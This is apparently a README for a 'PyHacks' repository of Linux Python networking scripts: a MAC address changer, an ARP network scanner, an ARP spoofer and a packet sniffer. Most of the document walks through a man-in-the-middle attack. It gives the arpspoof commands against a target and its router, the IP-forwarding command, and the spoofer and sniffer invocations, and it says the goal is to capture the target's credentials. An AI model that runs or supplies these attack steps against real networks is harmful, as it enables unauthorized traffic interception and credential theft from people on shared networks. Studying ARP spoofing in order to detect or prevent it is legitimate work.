This PyHacks repository contains more networking related python scripts for linux system

1. mac_changer.py this programs helps to change your MAC address (MEDIA ACCESS CONTROL) for your devices using python in linux [only]

• prerequisites : python3
• get interface name for the devices using ifconfig
• run this py script as root user , use this cmd to get root privilege sudo su and specify interface and new mac address python3 mac_changer --interface wlan1 --mac 11:22:33:44:55:66

shell > python3 mac_changer.py --help

python3 mac_changer --help
Usage: mac_changer.py [options]

Options:
  -h, --help            show this help message and exit
  -i INTERFACE, --interface=INTERFACE
                        Used to select Interface for changing MAC address
  -m NEW_MAC, --mac=NEW_MAC
                        Used to select New MAC addresss

this scripts just run linux cmds in background for changing current mac address so this script works only on linux

[FAQ] if use python2 to run this script subprocess.check_output() and subprocess.run()is not defined in python2 , then install python3 sudo apt install python3 subprocess.call() has been changed to subprocess.run() in python3

File "mac_changer.py", line 29, in get_mac_address
   ifconfig_result =  str(subprocess.check_output(["ifconfig",options.interface]),'ascii')

2.network_scanner.py This Program helps to discover devices in your wifi network

• Connect the Target Wifi Network with your devices , then cmd ifconfig and get the ip address (inet) eg: 192.168.1.10

python3 network_scanner  --range 192.168.1.1/24

This Program , Sends packets to 192.168.1.1 to 192.168.1.254 Print the discovered Devices ip_address and MAC_address in that target network

[FAQs] if get ImportError: No module named scapy.all , then install scapy module

pip install scapy

Usage: network_scanner.py [options]

Options:
  -h, --help            show this help message and exit
  -r RANGE, --range=RANGE
                        Use -r or --range to Scan Your Wifi Network

Network Scanning Using ARP

ARP Protocol is a protocol for mapping IP address to a physical machine that is recognised in the local network

ARP Illustration

• If A , B , C , D , ROUTER is a network 192.168.43.1/24
• A is Our machine , which says who has --range 192.168.43.1/24 IP this is ARP request , sends to devices in that network
• C Responds for that request as ARP Response , like I have 192.168.43.7 and My MAC address : 00:11:22:33:44:45 for every other packet also

It's a type of attack in which a macilious actor sends false ARP message over a local network

Let ARP Spoofing Using arpspoof from dsniff tool

• First Scan The Local Network and discover Devices over that network , get target machine ip address and router ip address
• Let assume Target be a windows machine , In cmd prompt , note mac address of router using arp -a cmd
• Open 2 Terminal , this required root privilege

arpspoof -i wlan0 -t 192.168.0.143 192.168.0.1
arpspoof -i wlano0 -t 192.168.0.1 192.168.0.143

Note Mac Address of Router arp -a , Mac Address of Router was changed to Mac address of our machine.

Enable IP Forwarding by run this cmd echo 1 > /proc/sys/net/ipv4/ip_forward before running the script , everytime To run the script

shell > python3 arp_spoofer.py --help
python3 arp_spoofer.py --help
Usage: arp_spoofer.py [options]

Options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target=TARGET_IP
                         Used to select Target Machine IP Address
  -s SPOOF_IP, --spoof=SPOOF_IP
                         Used to select Spoof Machine IP Address

Spoofing Machine is Network Router Scan the network using network_scanner.py , find ip address , always router ip_address will be XXX.XXX.X.1 it starts with 1

python3 arp_spoofer.py -t 192.168.0.14 --s 192.168.0.1

run ifconfig to note your wireless adapter name and connet to target network Enable IP Forwarding by run this cmd echo 1 > /proc/sys/net/ipv4/ip_forward before running the script , for everytime to run this spoofying script

To run the script first spoofy ,then sniff those data as a MITM

python3 arp_spoofer.py -t 192.168.0.14 --s 192.168.0.1

python3 arp_sniffer -i wlan_name

This program used to be your device inbetween the router and target devices ,and then breakdown the packet into raw data, get credentils of the target.
